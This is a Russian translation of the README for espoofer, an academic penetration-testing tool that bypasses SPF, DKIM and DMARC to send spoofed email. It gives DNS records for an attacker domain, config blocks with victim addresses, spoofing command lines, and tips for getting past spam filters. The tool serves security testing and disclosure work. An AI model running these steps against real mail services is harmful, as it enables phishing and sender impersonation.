
Инструмент для тестирования подделки email, который направлен на обход SPF/DKIM/DMARC и подделку подписей DKIM.🍻
espoofer — это инструмент с открытым исходным кодом для тестирования на проникновение, предназначенный для обхода аутентификации SPF, DKIM и DMARC в почтовых системах. Он помогает администраторам почтовых серверов и специалистам по тестированию на проникновение проверить, уязвим ли целевой почтовый сервер и клиент для атак с подделкой электронной почты или может ли он быть использован для отправки поддельных писем.
Рисунок 1. Пример нашей атаки с подделкой на Gmail (Исправлено, Видео демонстрации)
Подделка электронной почты представляет собой серьёзную угрозу как для частных лиц, так и для организаций (утечка Yahoo, John Podesta). Для решения этой проблемы современные почтовые сервисы и веб-сайты используют протоколы аутентификации — SPF, DKIM и DMARC — для предотвращения подделки писем.
Наши последние исследования показывают, что реализация этих протоколов страдает рядом проблем безопасности, которые можно использовать для обхода защиты SPF/DKIM/DMARC. На рисунке 1 показана одна из наших атак с подделкой, которая обходит DKIM и DMARC в Gmail. За дополнительными техническими подробностями обращайтесь к нашему докладу на Black Hat USA 2020 (с видео презентации) или статье на USENIX Security 2020.
В этом репозитории мы собрали все тестовые случаи, которые нашли, и объединили их в этот инструмент, чтобы помочь администраторам и специалистам по безопасности быстро выявлять и локализовать такие проблемы безопасности.
Версия LaTeX:
@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}
Версия Word:
Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.
git clone https://github.com/chenjj/espoofer
sudo pip3 install -r requirements.txt
Версия Python: Python 3 (>=3.7).
espoofer имеет три режима работы: сервер ('s', режим по умолчанию), клиент ('c') и ручной ('m'). В режиме сервера espoofer работает как почтовый сервер для проверки валидации в принимающих сервисах. В режиме клиента espoofer работает как почтовый клиент для проверки валидации в отправляющих сервисах. Ручной режим используется для отладки.

Рисунок 2. Три типа атакующих и их режимы работы
Для запуска espoofer в режиме сервера вам понадобятся: 1) IP-адрес (1.2.3.4), исходящий порт 25 которого не блокируется вашим интернет-провайдером, и 2) домен (attack.com).
attack.comselector._domainkey.attacker.com TXT "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
attack.comattack.com TXT "v=spf1 ip4:1.2.3.4 +all"
config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"[email protected]", # legitimate.com
"victim_address": b"[email protected]", # [email protected]
"case_id": b"server_a1", # server_a1
}
Вы можете просмотреть список case_id всех тестовых случаев с помощью опции -l:
python3 espoofer.py -l
python3 espoofer.py
Вы можете изменить case_id в config.py или использовать опцию -id в командной строке для тестирования разных случаев:
python3 espoofer.py -id server_a1
Для запуска espoofer в режиме клиента вам нужна учётная запись на целевом почтовом сервисе. Эта атака использует тот факт, что некоторые почтовые сервисы не выполняют достаточную проверку писем, полученных от локальных MUA. Например, [email protected] пытается выдать себя за [email protected].
config ={
"legitimate_site_address": b"[email protected]",
"victim_address": b"[email protected]",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # SMTP сервер отправки и порт
"username": b"[email protected]", # Имя пользователя и пароль вашей учётной записи
"password": b"your_passward_here",
},
}
Вы можете просмотреть список case_id всех тестовых случаев с помощью опции -l:
python3 espoofer.py -l
Примечание:
sending_serverдолжен быть адресом SMTP-сервера отправки, а не сервера приёма.
python3 espoofer.py -m c
Вы можете изменить case_id в config.py и запустить снова, или использовать опцию -id в командной строке:
python3 espoofer.py -m c -id client_a1
Пример ручного режима:
python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25
Присылайте pull request, чтобы добавить свой отчёт об ошибке сюда.
Вы можете проверить это в заголовке Authentication-results в сырых заголовках письма. Если заголовок показывает dmarc=pass, это означает, что письмо прошло аутентификацию DMARC. Вы можете посмотреть некоторые демонстрационные видео здесь.
Существует несколько возможных причин, если вам не удаётся отправить письмо: 1) ваш интернет-провайдер блокирует исходящие письма на порт 25 для предотвращения спама. В этом случае необходимо запросить разрешение у провайдера; 2) IP-адрес находится в спам-списке целевого почтового сервиса. Во многих случаях проблему можно решить здесь: https://www.spamhaus.org/lookup/ ; 3) некоторые почтовые сервисы проверяют наличие PTR-записи для отправляющего IP; возможно, вам также потребуется установить PTR-запись, чтобы пройти эту проверку; 4) письмо не проходит проверку формата целевым почтовым сервисом; попробуйте использовать другой тестовый случай.
На данный момент espoofer сосредоточен на обходе аутентификации SPF/DKIM/DMARC и не нацелен на обход спам-фильтров. Однако вы можете попробовать использовать респектабельный отправляющий IP-адрес, домен и безобидное содержимое письма, чтобы обойти спам-фильтр.
В нашем предыдущем опыте некоторые почтовые сервисы незаметно фильтруют подозрительные письма.
Вам потребуется настроить собственный авторитетный DNS-сервер, а не использовать сторонние службы хостинга DNS, так как некоторые службы хостинга DNS имеют ограничения на установку специальных символов. См. issue.
Приветствуется добавление дополнительных тестовых случаев.